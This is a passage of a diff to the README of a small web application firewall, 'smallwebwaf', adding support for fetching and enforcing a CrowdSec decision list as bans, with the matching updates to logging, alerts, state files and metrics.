A client a blocklist refuses is not checked. - Checks the client's own address against the DNSBL zones `SWWAF_DNSBL_ZONES` names, after the blocklists and before the rate limits (see "DNS blocklists" below), by the verdicts it keeps. A zone is asked about a client in the @@ -226,7 +238,7 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of before their bodies are read; they are not counted for the rate limits, and make no ban. With `log`, nothing more is done. Whatever the action, the request's log line names the zones, and each raises an alert. A client a - blocklist refuses is not checked. + blocklist refuses, or the CrowdSec decision list bans, is not checked. - Checks the client with AbuseIPDB while `SWWAF_ABUSEIPDB_KEY` is set, after the DNSBL zones and before the rate limits (see "AbuseIPDB" below), by the scores it keeps. Only a client whose history counts an offence is checked, so far one @@ -235,38 +247,39 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of request waits for AbuseIPDB. A score at or over `SWWAF_ABUSEIPDB_MIN_SCORE` is a hit, and `SWWAF_REPUTATION_ACTION` does with its client what it does with one a DNSBL zone's verdict lists. The request's log line names AbuseIPDB, and - it raises an alert. A client a blocklist or a DNSBL zone refuses is not - checked. + it raises an alert. A client a blocklist or a DNSBL zone refuses, or the + CrowdSec decision list bans, is not checked. - Checks the client's own address against the static lists, the three netblock settings below, before anything else, its lookup included. A client in - `SWWAF_ALLOW_NETS` skips bans, the country lists, the blocklists, the DNSBL - zones, AbuseIPDB, the rate limits, the byte limits and the rule files, and is - not looked up; the timeouts and size limits still apply. A client in - `SWWAF_DENY_NETS` is refused with `SWWAF_BAN_RESPONSE` before its body is - read, and the request is not counted for the rate limits; an address in - `SWWAF_ALLOW_NETS` too is let through. A client in + `SWWAF_ALLOW_NETS` skips bans, the country lists, the blocklists, the CrowdSec + decision list, the DNSBL zones, AbuseIPDB, the rate limits, the byte limits + and the rule files, and is not looked up; the timeouts and size limits still + apply. A client in `SWWAF_DENY_NETS` is refused with `SWWAF_BAN_RESPONSE` + before its body is read, and the request is not counted for the rate limits; + an address in `SWWAF_ALLOW_NETS` too is let through. A client in `SWWAF_RATE_LIMIT_EXEMPT_NETS` is neither counted nor refused by the rate limits, and has no bytes counted by the byte limits; the country lists, the rule files and bans still apply to it. - In `observe` mode, with `SWWAF_MODE=observe`, refuses none of the requests - that `SWWAF_DENY_NETS`, a ban, the country lists, a blocklist, a DNSBL zone's - verdict, AbuseIPDB's score, a rate limit or a rule would refuse: it passes - them to the app, and their log lines name what `enforce` mode would have done - (see `would_action` in "Request log" below). The checks run, and requests and - bytes are counted, as in `enforce` mode, with three differences: neither a - broken rate limit or byte limit nor a `ban` rule makes a ban; a broken limit - does not set the client's counters back to zero, so each request over a rate - limit is logged as one that would be refused, and each whose bytes keep the - client over a byte limit as breaking it; and a request under a ban does not - make it permanent. As in `enforce` mode, the bytes counted are only those of - the requests `enforce` mode would have passed to the app. A ban it would have - made, or made permanent, raises the alert `enforce` mode would have raised, - marked as what would have happened (see "Alerts" below). The bans in - `bans.json` are kept, and refuse requests again when `smallwebwaf` next runs - in `enforce` mode, as long as they last. The timeouts and size limits still - apply, since they protect `smallwebwaf` and the app themselves, and a request - for one of `smallwebwaf`'s own endpoints without its token is still answered - `401`. It is for trying a configuration before enforcing it. + that `SWWAF_DENY_NETS`, a ban, the country lists, a blocklist, the CrowdSec + decision list, a DNSBL zone's verdict, AbuseIPDB's score, a rate limit or a + rule would refuse: it passes them to the app, and their log lines name what + `enforce` mode would have done (see `would_action` in "Request log" below). + The checks run, and requests and bytes are counted, as in `enforce` mode, with + three differences: neither a broken rate limit or byte limit, a `ban` rule nor + the CrowdSec decision list makes a ban; a broken limit does not set the + client's counters back to zero, so each request over a rate limit is logged as + one that would be refused, and each whose bytes keep the client over a byte + limit as breaking it; and a request under a ban does not make it permanent. As + in `enforce` mode, the bytes counted are only those of the requests `enforce` + mode would have passed to the app. A ban it would have made, or made + permanent, raises the alert `enforce` mode would have raised, marked as what + would have happened (see "Alerts" below). The bans in `bans.json` are kept, + and refuse requests again when `smallwebwaf` next runs in `enforce` mode, as + long as they last. The timeouts and size limits still apply, since they + protect `smallwebwaf` and the app themselves, and a request for one of + `smallwebwaf`'s own endpoints without its token is still answered `401`. It is + for trying a configuration before enforcing it. - Answers `GET /_smallwebwaf/healthz` itself with `200` and `ok`, before any check and without asking the app, for the image's health check. - Answers `GET /_smallwebwaf/metrics` with its metrics (see "Metrics" below) for @@ -286,12 +299,13 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of `SWWAF_LOG_REMOTE_URL` names one (see "Sending the log to a syslog server" below). - Sends an alert for each ban it makes or makes permanent, for a count over an - anomaly threshold, for a client a blocklist, a DNSBL zone or AbuseIPDB lists, - for GeoJS failing, a list it cannot fetch, a DNSBL zone or AbuseIPDB that - fails or refuses a query, and the day's AbuseIPDB checks used up, for a rule - file or state file with an error, and for a replacement of the lookup database - it cannot read, holding back repeats and, past an hourly limit, rolling the - rest into one summary, to each destination you name: as a JSON object to the + anomaly threshold, for a client a blocklist, the CrowdSec decision list, a + DNSBL zone or AbuseIPDB lists, for GeoJS failing, a list it cannot fetch, the + CrowdSec decision list among them, a DNSBL zone or AbuseIPDB that fails or + refuses a query, and the day's AbuseIPDB checks used up, for a rule file or + state file with an error, and for a replacement of the lookup database it + cannot read, holding back repeats and, past an hourly limit, rolling the rest + into one summary, to each destination you name: as a JSON object to the webhook `SWWAF_ALERT_WEBHOOK_URL` names, as a message to the Slack incoming webhook `SWWAF_ALERT_SLACK_WEBHOOK_URL` names, and as a message to the ntfy topic `SWWAF_ALERT_NTFY_URL` names (see "Alerts" below). @@ -370,9 +384,9 @@ effective settings are logged at start, unless `SWWAF_LOG_LEVEL` is `warn` or - `SWWAF_REQUEST_MAX_BYTES` (default `100M`): the largest request body. - `SWWAF_RESPONSE_MAX_BYTES` (default `5G`): the largest response body. - `SWWAF_ALLOW_NETS` (default empty): netblocks whose clients skip bans, the - country lists, the blocklists, the DNSBL zones, AbuseIPDB, the rate limits, - the byte limits and the rule files, such as your monitoring or your own - networks. + country lists, the blocklists, the CrowdSec decision list, the DNSBL zones, + AbuseIPDB, the rate limits, the byte limits and the rule files, such as your + monitoring or your own networks. - `SWWAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients the rate limits and the byte limits do not apply to, such as a machine that talks to the app all day. @@ -495,6 +509,17 @@ effective settings are logged at start, unless `SWWAF_LOG_LEVEL` is `warn` or from 0 to 100, that is a hit. - `SWWAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a day, in UTC, a whole number above zero. AbuseIPDB's free accounts may make 1,000. +- `SWWAF_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec engine + you run, whose decision list is fetched (see "CrowdSec" below), as an `http` + or `https` URL without a user or a fragment, such as `http://172.17.0.1:8080`. + While it is unset, no list is fetched. Set without `SWWAF_CROWDSEC_LAPI_KEY`, + it stops the start, and so does a URL whose decision list, the URL with + `v1/decisions` added to its path, `SWWAF_BLOCKLIST_URLS` or + `SWWAF_ASN_LIMIT_PERCENT_URL` names too. +- `SWWAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for + `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without + `SWWAF_CROWDSEC_LAPI_URL`, it stops the start. The settings logged at start + show `********` in its place. - `SWWAF_REPUTATION_ACTION` (default `limit:25`): what is done with a client a zone's verdict lists, or whose AbuseIPDB score is a hit, as `SWWAF_BLOCKLIST_ACTION` is for a blocklist: `deny`, `limit:` or @@ -516,7 +541,8 @@ effective settings are logged at start, unless `SWWAF_LOG_LEVEL` is `warn` or limit or byte limit. - `SWWAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): a rate limit or byte limit broken again within this time after a ban ended, other than one for a clear - sign of attack, bans for three times as long as that ban. + sign of attack or for CrowdSec's decision, bans for three times as long as + that ban. - `SWWAF_MAX_BAN_DURATION` (default `7d`): a ban for a broken rate limit or byte limit that would be longer is permanent instead. - `SWWAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of @@ -668,7 +694,8 @@ and `SWWAF_ANOMALY_NET_V6_PREFIX` cannot be off. Several limits are fixed rather than settings. At most 100,000 answers from GeoJS are kept, for 7 days each, at most 20,000 anomaly counters, at most 100,000 verdicts of the DNSBL zones, with at most 1,000 queries to them under -way at once, and at most 100,000 scores of AbuseIPDB. +way at once, and at most 100,000 scores of AbuseIPDB, and the CrowdSec decision +list is fetched again a minute after it was last fetched or tried. ### Settings given as files @@ -754,20 +781,22 @@ which every line has. refused because its client is in `SWWAF_DENY_NETS`, in a blocklist while `SWWAF_BLOCKLIST_ACTION` is `deny`, or listed by a DNSBL zone or AbuseIPDB while `SWWAF_REPUTATION_ACTION` is `deny`, `banned` for one refused because a - ban covers its client or because it matched a `ban` rule, which bans its - client, `country_denied` for one refused for its client's country, - `rate_limited` for one that broke a rate limit and banned its client, - `rule_blocked` for one a `block` rule refused, `too_large` for a request or - response over its size limit, `timed_out` for one that ran out of time, - `upstream_error` when the app could not be reached or its answer broke off, - and `admin` for one `smallwebwaf` answered at its own endpoint. + ban covers its client, or because it matched a `ban` rule or the CrowdSec + decision list lists its client, either of which bans its client, + `country_denied` for one refused for its client's country, `rate_limited` for + one that broke a rate limit and banned its client, `rule_blocked` for one a + `block` rule refused, `too_large` for a request or response over its size + limit, `timed_out` for one that ran out of time, `upstream_error` when the app + could not be reached or its answer broke off, and `admin` for one + `smallwebwaf` answered at its own endpoint. - `would_action` is there in `observe` mode for a request that - `SWWAF_DENY_NETS`, a ban, the country lists, a blocklist, a DNSBL zone's - verdict, AbuseIPDB's score, a rate limit or a rule would have refused in - `enforce` mode, and names the action that refusal would have had: `denied`, - `banned`, `country_denied`, `rate_limited` or `rule_blocked`. `action` then - names what was done: `forward` for a request passed to the app, and another - action, such as `too_large`, for one a size or time limit refused. + `SWWAF_DENY_NETS`, a ban, the country lists, a blocklist, the CrowdSec + decision list, a DNSBL zone's verdict, AbuseIPDB's score, a rate limit or a + rule would have refused in `enforce` mode, and names the action that refusal + would have had: `denied`, `banned`, `country_denied`, `rate_limited` or + `rule_blocked`. `action` then names what was done: `forward` for a request + passed to the app, and another action, such as `too_large`, for one a size or + time limit refused. - `limit_percent` is there for a request the rate limits count whose client a biased threshold, `SWWAF_BLOCKLIST_ACTION` for a blocklist that lists it, or `SWWAF_REPUTATION_ACTION` for a DNSBL zone whose verdict lists it or an @@ -785,11 +814,12 @@ which every line has. health check, one from a client in `SWWAF_ALLOW_NETS` or `SWWAF_RATE_LIMIT_EXEMPT_NETS`, one for a path that `SWWAF_RATE_LIMIT_EXEMPT_PATHS` exempts, and one that `SWWAF_DENY_NETS`, a - ban, the country lists, a blocklist, a DNSBL zone's verdict or AbuseIPDB's - score refuse, or would refuse in `observe` mode. Its `minute_bytes`, - `hour_bytes` and `day_bytes` give the client's bytes in each window as the - byte limits count them, in the same way: for a request whose bytes they count, - with its own, once it has ended; for any other, those counted before it. + ban, the country lists, a blocklist, the CrowdSec decision list, a DNSBL + zone's verdict or AbuseIPDB's score refuse, or would refuse in `observe` mode. + Its `minute_bytes`, `hour_bytes` and `day_bytes` give the client's bytes in + each window as the byte limits count them, in the same way: for a request + whose bytes they count, with its own, once it has ended; for any other, those + counted before it. - `rule_ids` is there for a request that matched rules of the rule files, and lists their ids in the order they matched, up to the one that refused it. - `limit_hit` is there for a request that broke a rate limit, or whose bytes @@ -799,18 +829,22 @@ which every line has. several. `offence` is then `limit`. A request whose bytes broke a byte limit is not refused: its `action` is what it would have been otherwise, such as `forward`. -- `reputation` is there for a request whose client a blocklist or a DNSBL zone's - verdict lists, or whose AbuseIPDB score is a hit, and gives the URLs of the - blocklists that list it, in the order `SWWAF_BLOCKLIST_URLS` names them, then - the zones whose verdict lists it, in the order `SWWAF_DNSBL_ZONES` names them, - then `abuseipdb`, whatever `SWWAF_BLOCKLIST_ACTION` and - `SWWAF_REPUTATION_ACTION` say. A zone whose verdict on the client has not come - yet, or was given `SWWAF_REPUTATION_CACHE_TTL` ago or more, is not named, nor - is AbuseIPDB for such a score. It is left out for a client the blocklists are - not checked for: one in `SWWAF_ALLOW_NETS`, and one `SWWAF_DENY_NETS`, a ban - or the country lists refuse first, or would in `observe` mode. The zones are - not checked either for a client a blocklist refuses, nor AbuseIPDB's score for - one a blocklist or a zone refuses, or would in `observe` mode. +- `reputation` is there for a request whose client a blocklist, the CrowdSec + decision list or a DNSBL zone's verdict lists, or whose AbuseIPDB score is a + hit, and gives the URLs of the blocklists that list it, in the order + `SWWAF_BLOCKLIST_URLS` names them, then the URL of the CrowdSec decision list + when a decision in force bans the client, then the zones whose verdict lists + it, in the order `SWWAF_DNSBL_ZONES` names them, then `abuseipdb`, whatever + `SWWAF_BLOCKLIST_ACTION` and `SWWAF_REPUTATION_ACTION` say. A zone whose + verdict on the client has not come yet, or was given + `SWWAF_REPUTATION_CACHE_TTL` ago or more, is not named, nor is AbuseIPDB for + such a score. It is left out for a client the blocklists are not checked for: + one in `SWWAF_ALLOW_NETS`, and one `SWWAF_DENY_NETS`, a ban or the country + lists refuse first, or would in `observe` mode. The CrowdSec decision list is + not checked either for a client a blocklist refuses, nor are the zones for one + a blocklist refuses or the decision list bans, nor AbuseIPDB's score for one a + blocklist or a zone refuses or the decision list bans, or would in `observe` + mode. - `ban_expires` is there for a request that made a ban or was refused under one, or in `observe` mode would have been refused under one, and gives when the ban ends, in the same form as `time`, or `permanent`. @@ -874,22 +908,23 @@ gives, as "Alert webhook schema" in [`SPEC.md`](SPEC.md) describes, and to it, as below. An alert is for one of these events, and is sent when `SWWAF_ALERT_EVENTS` names its event: -- `ban`: a ban `smallwebwaf` makes, for a broken rate limit or byte limit or a - clear sign of attack. +- `ban`: a ban `smallwebwaf` makes, for a broken rate limit or byte limit, a + clear sign of attack, or a client the CrowdSec decision list lists. - `permanent_ban`: a permanent ban it makes, or a ban for a clear sign of attack that a request made permanent. - `anomaly`: a count of requests or bytes over an anomaly threshold, raised by each request that ends with the count over it, in `observe` mode as in `enforce` mode. It refuses and bans nothing. -- `reputation_hit`: a request whose client a blocklist or a DNSBL zone's verdict - lists, or whose AbuseIPDB score is a hit, one alert for each blocklist and - each zone that lists it, and one for AbuseIPDB, whatever - `SWWAF_BLOCKLIST_ACTION` and `SWWAF_REPUTATION_ACTION` say, in `observe` mode - as in `enforce` mode. +- `reputation_hit`: a request whose client a blocklist, the CrowdSec decision + list or a DNSBL zone's verdict lists, or whose AbuseIPDB score is a hit, one + alert for each blocklist and each zone that lists it, one for the decision + list, and one for AbuseIPDB, whatever `SWWAF_BLOCKLIST_ACTION` and + `SWWAF_REPUTATION_ACTION` say, in `observe` mode as in `enforce` mode. - `source_failure`: GeoJS failing or refusing `smallwebwaf`, a fetch of a list - failing (see "Blocklists" below), a query to a DNSBL zone failing or refused - (see "DNS blocklists" below), or a check with AbuseIPDB failing or refused, or - the check that uses up the day's AbuseIPDB checks (see "AbuseIPDB" below). + failing (see "Blocklists" below), the CrowdSec decision list's among them (see + "CrowdSec" below), a query to a DNSBL zone failing or refused (see "DNS + blocklists" below), or a check with AbuseIPDB failing or refused, or the check + that uses up the day's AbuseIPDB checks (see "AbuseIPDB" below). - `file_error`: a rule file edited while it runs that has an error, an edit of a state file set aside as `.bad`, a state file it could not write while running, or a replacement of the lookup database it could not read, which it @@ -939,7 +974,8 @@ is sent on one line: "earlier_bans": { "limit": 0, "attack": 0, - "admin": 0 + "admin": 0, + "crowdsec": 0 } } }, @@ -962,7 +998,8 @@ is sent on one line: - `reason` is a short sentence; for a ban, the ban's `reason` in `bans.json`; for an `anomaly`, what was counted over which threshold, such as `requests per minute of the netblock 203.0.113.0/24 over the threshold of 1000`; - for a `reputation_hit`, `listed by a blocklist`, `listed by a DNSBL zone` or + for a `reputation_hit`, `listed by a blocklist`, + `listed by the CrowdSec decision list`, `listed by a DNSBL zone` or `scored by AbuseIPDB at or over SWWAF_ABUSEIPDB_MIN_SCORE`. - `detail` is what is particular to the event: for a ban, its `cause`, when it ends as `ban_expires`, in the form the request log gives it, and its `notes`, @@ -971,12 +1008,12 @@ is sent on one line: `asn` and the `name` of the named netblock for `watch`, the `window`, `minute` or `hour`, the `kind`, `requests` or `bytes`, the `count`, which is weighted as the rate limits weigh theirs, and the `threshold`; for a `reputation_hit`, - the `source`, the URL of the blocklist, the zone or `abuseipdb`, and for - AbuseIPDB the `score`; for `source_failure`, the `source`, `geojs`, the URL of - the list, the zone or `abuseipdb`, the `error`, and for GeoJS, when it is - asked again, `asking_again_in`; for `file_error`, the `file`, which for an - edit set aside is the file it was renamed to, and the `error`, which for a - file that does not parse names where in it the error is. + the `source`, the URL of the blocklist or of the CrowdSec decision list, the + zone or `abuseipdb`, and for AbuseIPDB the `score`; for `source_failure`, the + `source`, `geojs`, the URL of the list, the zone or `abuseipdb`, the `error`, + and for GeoJS, when it is asked again, `asking_again_in`; for `file_error`, + the `file`, which for an edit set aside is the file it was renamed to, and the + `error`, which for a file that does not parse names where in it the error is. - `suppressed_repeats` is how many repeats the cooldown held back before this alert, and for a `summary`, those no other alert gives (see below). @@ -1022,14 +1059,14 @@ and Slack this JSON object, shown indented; it is sent on one line: ``` An alert for the same event as the last one sent, on the same netblock, and for -a `reputation_hit` about the same blocklist, zone or AbuseIPDB, or for a -`file_error` about the same file, or for a `source_failure` about the same -source, or for an `anomaly` in the same scope, with the same netblock, AS number -or name, whatever its window and kind, less than `SWWAF_ALERT_COOLDOWN` after -it, is a repeat: it is held back and counted, and the next alert sent for them -gives that count as `suppressed_repeats`. As each hour of the clock, in UTC, -ends, the cooldowns that have run out are dropped, and the repeats they held -back, which no alert sent since has given, go in that hour's summary. +a `reputation_hit` about the same blocklist, decision list, zone or AbuseIPDB, +or for a `file_error` about the same file, or for a `source_failure` about the +same source, or for an `anomaly` in the same scope, with the same netblock, AS +number or name, whatever its window and kind, less than `SWWAF_ALERT_COOLDOWN` +after it, is a repeat: it is held back and counted, and the next alert sent for +them gives that count as `suppressed_repeats`. As each hour of the clock, in +UTC, ends, the cooldowns that have run out are dropped, and the repeats they +held back, which no alert sent since has given, go in that hour's summary. Past `SWWAF_ALERT_MAX_PER_HOUR` alerts in an hour, the hour's other alerts are held back and counted by event. An alert held back this way starts no cooldown. @@ -1065,21 +1102,23 @@ with times in UTC. - `bans.json`: every ban with its notes, indented to be read. A permanent ban's `expires` is `null`. A ban's `cause` is `limit` for a broken rate limit or - byte limit or `attack` for a clear sign of attack, for a ban `smallwebwaf` - made, and `admin` for one you made or keep. Its `reason` is a short text: for - a ban `smallwebwaf` made, the limit broken, such as - `requests per minute over the limit of 1000` or - `bytes per hour over the limit of 21474836480`, or the rule that matched, such - as `matched the rule env-file`; for yours, what you wrote. Its `lifted` is - when you lifted it, and is left out until you do. The `kind` in the notes of a - ban for a broken limit is `requests` or `bytes`, what the limit is on. For a - limit a biased threshold lowered, the reason and the notes' `limit` give the - lowered limit, and the notes' `limit_percent` and `limit_percent_setting` the - client's percentage of that kind of limit and the setting that gave it. The - notes' `reputation` gives each blocklist, DNSBL zone or AbuseIPDB that listed - the client when the ban was made, as its `source`, named and ordered as in the - request log's `reputation`, with AbuseIPDB's `score` of the client. It is left - out when none did, and the example below shows it. + byte limit, `attack` for a clear sign of attack or `crowdsec` for a client the + CrowdSec decision list lists, for a ban `smallwebwaf` made, and `admin` for + one you made or keep. Its `reason` is a short text: for a ban `smallwebwaf` + made, the limit broken, such as `requests per minute over the limit of 1000` + or `bytes per hour over the limit of 21474836480`, the rule that matched, such + as `matched the rule env-file`, or the scenario that made CrowdSec's decision, + such as `CrowdSec's decision for crowdsecurity/ssh-bf`; for yours, what you + wrote. Its `lifted` is when you lifted it, and is left out until you do. The + `kind` in the notes of a ban for a broken limit is `requests` or `bytes`, what + the limit is on. For a limit a biased threshold lowered, the reason and the + notes' `limit` give the lowered limit, and the notes' `limit_percent` and + `limit_percent_setting` the client's percentage of that kind of limit and the + setting that gave it. The notes' `reputation` gives each blocklist, the + CrowdSec decision list, each DNSBL zone or AbuseIPDB that listed the client + when the ban was made, as its `source`, named and ordered as in the request + log's `reputation`, with AbuseIPDB's `score` of the client. It is left out + when none did, and the example below shows it. - `clients.json`: each client's two buckets of requests in the minute, the hour and the day, its two buckets of bytes in each, `minute_bytes`, `hour_bytes` and `day_bytes`, and its history: when it was first and last seen, its AS @@ -1091,20 +1130,20 @@ with times in UTC. `grep` shows everything about one. - `lookups.json`: GeoJS's answers, one to a line, each with the client's AS number, AS name and country, when GeoJS gave it and when it was last used. -- `reputation.json`: each list fetched from a URL (see "Blocklists" below), - indented to be read, under `lists`: its `url`, when it was last `tried`, the - fetch failed or not, and its last good copy: when that was `fetched`, and its - `lines`, as fetched, comment lines included, each on a line of its own, both - left out while no fetch of it has succeeded; and under `verdicts`, each - verdict of a DNSBL zone still in use (see "DNS blocklists" below): its `zone`, - the `client`'s address, whether the zone `listed` the client, and when the - zone gave it, `fetched`; and under `abuseipdb` (see "AbuseIPDB" below), the - `day`, in UTC, whose checks it counts, left out before the first, the checks - `spent` that day, and under `scores`, each score of AbuseIPDB still in use: - the `client`, its IPv4 address as a /32 or its IPv6 group, its `score`, and - when AbuseIPDB gave it, `fetched`. As the file is read, the lists the settings - no longer name, and the verdicts of the zones they no longer name, are - dropped. +- `reputation.json`: each list fetched from a URL (see "Blocklists" and + "CrowdSec" below), indented to be read, under `lists`: its `url`, when it was + last `tried`, the fetch failed or not, and its last good copy: when that was + `fetched`, and its `lines`, as fetched, comment lines included, each on a line + of its own, both left out while no fetch of it has succeeded; and under + `verdicts`, each verdict of a DNSBL zone still in use (see "DNS blocklists" + below): its `zone`, the `client`'s address, whether the zone `listed` the + client, and when the zone gave it, `fetched`; and under `abuseipdb` (see + "AbuseIPDB" below), the `day`, in UTC, whose checks it counts, left out before + the first, the checks `spent` that day, and under `scores`, each score of + AbuseIPDB still in use: the `client`, its IPv4 address as a /32 or its IPv6 + group, its `score`, and when AbuseIPDB gave it, `fetched`. As the file is + read, the lists the settings no longer name, and the verdicts of the zones + they no longer name, are dropped. - `alerts.json`: the state of the alerts (see "Alerts" above), indented to be read: under `cooldowns`, for each event and netblock, with the `source` too for a `reputation_hit`, or event and `file` or `source`, or for an `anomaly`, @@ -1172,7 +1211,8 @@ at its default of `limit:25`, lowered to a quarter: "earlier_bans": { "limit": 0, "attack": 0, - "admin": 0 + "admin": 0, + "crowdsec": 0 } } } @@ -1211,11 +1251,11 @@ counter's `netblock`, unless it counts an AS number or the whole service, its window in which it has requests or bytes; a list's `url`, `fetched` or `lines`, which is `[]` for an empty list; a verdict's `zone`, `client`, `listed`, which is `false` for a client the zone does not list, or `fetched`. So does a ban -whose `cause` is not `limit`, `attack` or `admin`, alerts waiting for a -destination that is not `webhook`, `slack` or `ntfy`, an anomaly counter whose -`scope` is not `client`, `net`, `asn`, `total` or `watch`, and a copy of a list -with a line that would make its fetch fail. An answer's `asn` or `as_name` left -out reads as empty. +whose `cause` is not `limit`, `attack`, `admin` or `crowdsec`, alerts waiting +for a destination that is not `webhook`, `slack` or `ntfy`, an anomaly counter +whose `scope` is not `client`, `net`, `asn`, `total` or `watch`, and a copy of a +list with a line that would make its fetch fail. An answer's `asn` or `as_name` +left out reads as empty. While it runs, `smallwebwaf` watches `SWWAF_STATE_DIR` and takes in your edit of a state file as soon as you save it: what the file then holds replaces what @@ -1240,7 +1280,7 @@ and its `expires`, `null` for a ban that never ends; its `reason` and its written so at the file's next write. A ban whose `cause` is `admin` is never dropped and does not count toward `SWWAF_MAX_BANS`. A ban whose `cause` is `attack` becomes permanent at the first request it refuses; one whose `cause` is -`admin` does not. This `bans.json` bans `203.0.113.0/24` for good: +`admin` or `crowdsec` does not. This `bans.json` bans `203.0.113.0/24` for good: ```json { @@ -1369,11 +1409,11 @@ scraped, and keeps this one as `exported_instance` unless the scrape sets and `kind`, `requests` for a rate limit or `bytes` for a byte limit, `smallwebwaf_size_and_time_limit_hits_total` by `limit`, the setting whose limit was passed, `smallwebwaf_offences_total` by `kind`, and - `smallwebwaf_bans_made_total` by `cause`, `limit`, `attack` or `admin`, the - last for the bans you add through `POST /_smallwebwaf/bans`, and those whose - `cause` is `admin` that you add to `bans.json` while `smallwebwaf` runs; - `smallwebwaf_active_bans` and `smallwebwaf_permanent_bans`, neither of which - counts a lifted ban. + `smallwebwaf_bans_made_total` by `cause`, `limit`, `attack`, `admin` or + `crowdsec`, `admin` for the bans you add through `POST /_smallwebwaf/bans`, + and those whose `cause` is `admin` that you add to `bans.json` while + `smallwebwaf` runs; `smallwebwaf_active_bans` and + `smallwebwaf_permanent_bans`, neither of which counts a lifted ban. - `smallwebwaf_rule_matches_total`: the requests that matched each rule, by `rule_id` and `action`, the rule's own; and `smallwebwaf_rules_loaded`: the rules read from the rule files. @@ -1402,8 +1442,9 @@ scraped, and keeps this one as `exported_instance` unless the scrape sets `smallwebwaf_lookup_database_read_failures_total`: the replacements of it that could not be read. - By `source`, the URL of each list `SWWAF_BLOCKLIST_URLS` or - `SWWAF_ASN_LIMIT_PERCENT_URL` names: `smallwebwaf_reputation_hits_total`: the - requests whose client the blocklist lists, a series that comes with the first; + `SWWAF_ASN_LIMIT_PERCENT_URL` names, and of the CrowdSec decision list: + `smallwebwaf_reputation_hits_total`: the requests whose client the blocklist + or the decision list lists, a series that comes with the first; `smallwebwaf_reputation_failures_total`: the fetches of the list that failed; and `smallwebwaf_reputation_last_fetch_timestamp_seconds`: when the copy of it in use was fetched, `0` while there is none. @@ -1633,7 +1674,8 @@ For each request `smallwebwaf`: the deny list or currently banned; - looks up its AS number and country, and refuses it if that country is denied, or is not among the only ones allowed; -- checks it against the blocklists, and for a cached reputation verdict; +- checks it against the blocklists, bans it if the CrowdSec decision list lists + it, and checks it for a cached reputation verdict; - picks the client's limit percentage from those; - checks the minute, hour and day request counters against the limits, and bans the client if it breaks one; @@ -1944,6 +1986,59 @@ the metrics nor `reputation.json` hold it. Given as a file, with `SWWAF_ABUSEIPDB_KEY_FILE`, it can be kept out of the app's reach (see "Settings given as files" above). +## CrowdSec + +While `SWWAF_CROWDSEC_LAPI_URL` names the local API of a CrowdSec engine you +run, `smallwebwaf` fetches the engine's decision list, at that URL with +`v1/decisions` added to its path, with `SWWAF_CROWDSEC_LAPI_KEY`, a key the +engine gave, such as `cscli bouncers add smallwebwaf` makes. This is how a list +kept for a whole fleet of hosts can reach `smallwebwaf` without it depending on +CrowdSec. It is unset by default, for the reason no blocklist is named, and +since it needs an engine of your own. + +The list is fetched again a minute after it was last fetched or tried, the fetch +failed or not, and is kept as a blocklist is (see "Blocklists" above): its last +good copy, the engine's answer as it came, stays in use while a fetch fails, and +`reputation.json` keeps it with the time it was fetched, so that a restart keeps +it in use too. A fetch fails when the engine answers other than `200`, a +redirect included, such as `403` for a key it does not know, when it does not +finish within a minute, when the answer is longer than 16 MiB or is not a JSON +list of decisions, or when a decision to ban gives a value that is not an +address or a netblock, or a `duration` that does not read. A failure is counted, +logged and raised as a `source_failure` alert, held back as a repeat within +`SWWAF_ALERT_COOLDOWN`. + +The decisions of the type `ban` on an address or a netblock, the scopes `Ip` and +`Range`, are used; any other, such as one to show a captcha or one on a country, +is left out. A decision bans until its `duration`, the time it had left as the +engine answered, has passed since the fetch, so that one that has ended no +longer bans, even while the copy in use still holds it because the engine cannot +be reached. + +A client in `SWWAF_ALLOW_NETS` is not checked, nor is one a blocklist refuses. +Any other is checked by its own address after the blocklists. A request from a +client a decision in force bans is refused with `SWWAF_BAN_RESPONSE`, and bans +the client's netblock, as any ban covers it, until that decision ends, the one +that ends last if several ban the client. The ban's cause is `crowdsec`, and its +reason names the decision's scenario. Only a client that sends a request is +banned, so that a long list does not fill `bans.json`. Such a ban counts toward +`SWWAF_MAX_BANS`, is never made permanent, and does not make the netblock's next +ban for a broken limit longer. The request's log line and the ban's notes name +the list by its URL, as they name a blocklist, and the request raises a +`reputation_hit` alert besides the ban's. + +A ban you lift while its decision is in force is followed by another at the +client's next request. To let a client in, delete its decision in CrowdSec, such +as with `cscli decisions delete --ip 203.0.113.9`, and lift the ban once the +list has been fetched again, a minute or so later. A ban made for a decision +deleted in CrowdSec otherwise lasts until that decision would have ended. + +The key is sent to the engine in the `X-Api-Key` header, and nowhere else. The +settings logged at start show `********` in its place, and neither the log, the +alerts, the metrics nor `reputation.json` hold it. Given as a file, with +`SWWAF_CROWDSEC_LAPI_KEY_FILE`, it can be kept out of the app's reach (see +"Settings given as files" above). + ## How the code is laid out - `cmd/smallwebwaf`: the binary, which only calls `internal/smallwebwaf`. @@ -1957,15 +2052,16 @@ given as files" above). standard library's `httputil.ReverseProxy` within the timeouts and size limits, and writes the request's log line. Its `check` method is where a request is refused before anything reaches the app: for `SWWAF_DENY_NETS`, for - a ban, for the country lists, for a blocklist, for a DNSBL zone's verdict, for - AbuseIPDB's score, for a rate limit, which bans the client, for a `block` or - `ban` rule, the latter banning the client, and for an announced body over the - size limit; in `observe` mode, only for the size limit, with what it would - have refused for noted in the log line. A request under `/_smallwebwaf/` that - `check` lets through is answered by `answerAdmin` instead of reaching the app. - Once the answer to a request passed to the app has ended, `countBytes` counts - its bytes for the byte limits, and once any request but the health check has - ended, `countAnomalies` counts it for the anomaly thresholds. + a ban, for the country lists, for a blocklist, for the CrowdSec decision list, + which bans the client, for a DNSBL zone's verdict, for AbuseIPDB's score, for + a rate limit, which bans the client, for a `block` or `ban` rule, the latter + banning the client, and for an announced body over the size limit; in + `observe` mode, only for the size limit, with what it would have refused for + noted in the log line. A request under `/_smallwebwaf/` that `check` lets + through is answered by `answerAdmin` instead of reaching the app. Once the + answer to a request passed to the app has ended, `countBytes` counts its bytes + for the byte limits, and once any request but the health check has ended, + 